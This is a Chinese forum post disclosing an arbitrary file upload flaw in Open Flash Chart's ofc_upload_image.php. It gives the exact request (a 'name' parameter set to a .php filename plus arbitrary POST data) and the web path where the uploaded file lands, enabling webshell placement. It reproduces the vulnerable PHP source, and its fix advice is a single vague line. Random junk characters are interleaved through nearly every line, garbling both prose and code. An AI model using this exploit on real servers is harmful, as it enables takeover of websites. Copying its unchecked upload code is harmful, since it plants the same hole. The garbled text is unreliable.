POST 数据漏洞文件执行任意后缀文件保存
0 ]7 U' H% h" w# c" O$ n/ U1 ` 漏洞文件/chart/php-ofc-library/ofc_upload_image.php3 m7 p3 V1 {% f- ]
- K* X, P0 ^) e+ Z3 @利用:
! Z* i$ b" v7 V3 f9 ^1 I& W/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
. h) V% T: o: V7 w9 E) d
% M- {8 Z" ]" E" r3 ^( J4 DPost任意数据
/ l0 C! b0 p7 l7 ^' b保存位置http://localhost/chart/tmp-upload-images/hfy.php7 z; m' v3 J3 X2 e& u
0 ^9 p; T0 f0 O( x2 v, V8 B! B# k/ o3 Y. c H; y
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~# s2 G7 q5 g1 M- J. J8 x2 Y
1 z1 `& C( q0 i. ~7 ? X$ H0 D<?php( Q5 o! [$ }! v+ h/ V
' a% E) [3 u1 y7 w//
+ g% t$ f# p' y0 i( r5 j3 b; @// In Open Flash Chart -> save_image debug mode, you5 i" D- g2 K; e7 C0 W3 }
// will see the 'echo' text in a new window.$ }1 ?1 h7 y* F: l6 e- N" }' |
//) t, D; l% `) w2 s
2 Z0 A( f6 t& N8 q" o/*
$ {8 j0 [7 y3 T7 N' @' X' b t* d
4 i/ W5 ^' R5 D7 ]4 H2 e$ }* [0 b& hprint_r( $_GET );
# q5 X/ A; A0 U" z- M/ ]6 Xprint_r( $_POST );
0 V5 s" y7 G% @' M2 x7 Eprint_r( $_FILES );
; ]2 z/ {7 e& `3 Q9 R1 B6 H" Q3 ^9 |4 l/ F/ V
print_r( $GLOBALS );
# l" V( v8 c8 mprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );% }1 H2 `9 q2 h2 ?0 ^; F% I- q
0 E3 S- M ~2 V7 ~
*/
1 _( r2 c9 c2 Q0 p// default path for the image to be stored //
5 }/ \4 ]: j3 z- U7 J$default_path = '../tmp-upload-images/';
8 [% p# v$ {) _( T2 F. [, X! S& {+ o$ |/ W3 G# B/ Z) k
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
2 @' A. @& Q' v1 j7 g% m% W/ L
& W5 e P' p/ C// full path to the saved image including filename //2 ^4 u# r- R7 Y" ^$ ]- N
$destination = $default_path . basename( $_GET[ 'name' ] ); ' i2 Z( ?0 v S
" J" u2 ^; r* x2 {! G Recho 'Saving your image to: '. $destination;
$ h8 |$ A" ?/ ?! J, `- o- p: ]// print_r( $_POST );
# V) T& R0 I$ H- M* N% \) @+ W// print_r( $_SERVER );/ S1 }* c% s6 n( O$ C. ^
// echo $HTTP_RAW_POST_DATA;
; a/ y% `% o4 ^! K: P$ L
" W4 {1 W! D9 f& o//
0 b7 `4 g {- Z% d- o4 a Z// POST data is usually string data, but we are passing a RAW .png
6 L+ _- b/ j W9 m2 t// so PHP is a bit confused and $_POST is empty. But it has saved6 p) g* Q, u: ? W& D1 C
// the raw bits into $HTTP_RAW_POST_DATA
) C0 u: i: d$ E7 z$ u1 J//3 \' q6 O! H0 k7 V' \
0 h, J" S# M/ b& o+ k* I' c$jfh = fopen($destination, 'w') or die("can't open file");
! F5 W/ d. @ p. W. Vfwrite($jfh, $HTTP_RAW_POST_DATA);7 u: w) O% o0 N4 R
fclose($jfh);
6 X: x* m/ A- {$ R9 a! ?% `
: z' N4 M/ c0 ]0 e$ w//
1 w* v* Q4 f3 l4 p0 V( H1 w// LOOK:$ U# S- A5 ~" Z' n- h4 R4 [! C/ H
//2 D7 c, n: z8 \
exit();* E2 \) X( G( y$ A, w- J! y# {
//
0 T4 m8 P& n ^// PHP5:
% |" F1 v/ i! B E//
& B+ ^. I4 u# g/ ^, ]( f$ q& Y: P
/ h' }' Y# I) T. s// default path for the image to be stored //( N& k/ C3 c) P8 P2 O) l
$default_path = 'tmp-upload-images/';
( p9 y% T6 Y$ L' c/ C- h! r
: m4 J {6 i9 {7 e5 l! S. |if (!file_exists($default_path)) mkdir($default_path, 0777, true);* I+ ` V) u8 G' L
2 J2 `8 E: k) Y( F3 t; l
// full path to the saved image including filename //5 v' g% C6 U0 c1 r
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
$ o9 @7 s. G' l( I
?: W u4 ]5 c% s5 a M6 g// move the image into the specified directory //: f5 t! x) S# I% W
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {6 [0 z: a8 [: ^9 d3 ?
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
" |& R/ t* O9 o7 L! G q5 N5 F! Z} else {
6 {6 m* i* \7 e6 g, O% j& G/ S. E echo "FILE UPLOAD FAILED";
9 v* P5 r) ?5 `; @% J$ a}! X: J# R6 [# g; u9 Z
# }# @7 r/ ]7 _+ [, j; d# ~
( D% u9 t& S0 Q z+ d?>' Q0 n; [ ]7 o+ O# T! P- x8 Q# k
3 V& _) [0 p- _ L
4 {/ v3 N$ u/ ~# S1 L1 J. D, i2 u. J0 P
5 [+ D- x( G! p3 G: \, X
# }# c) _4 X2 E8 j/ |2 j# ]8 ]% y3 J' }2 y' Z- q) a) ?; A
修复方案: 7 a$ {3 Y# ]' m( I2 o& O
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
5 I, [7 o9 F+ n8 Z6 }+ w Q
& {+ p0 ]& x* T/ O" c1 v/ ?& G7 E+ @+ s- w/ D
. q8 M7 v' r* G; L. e
: J- ^* M- g8 G0 `+ o |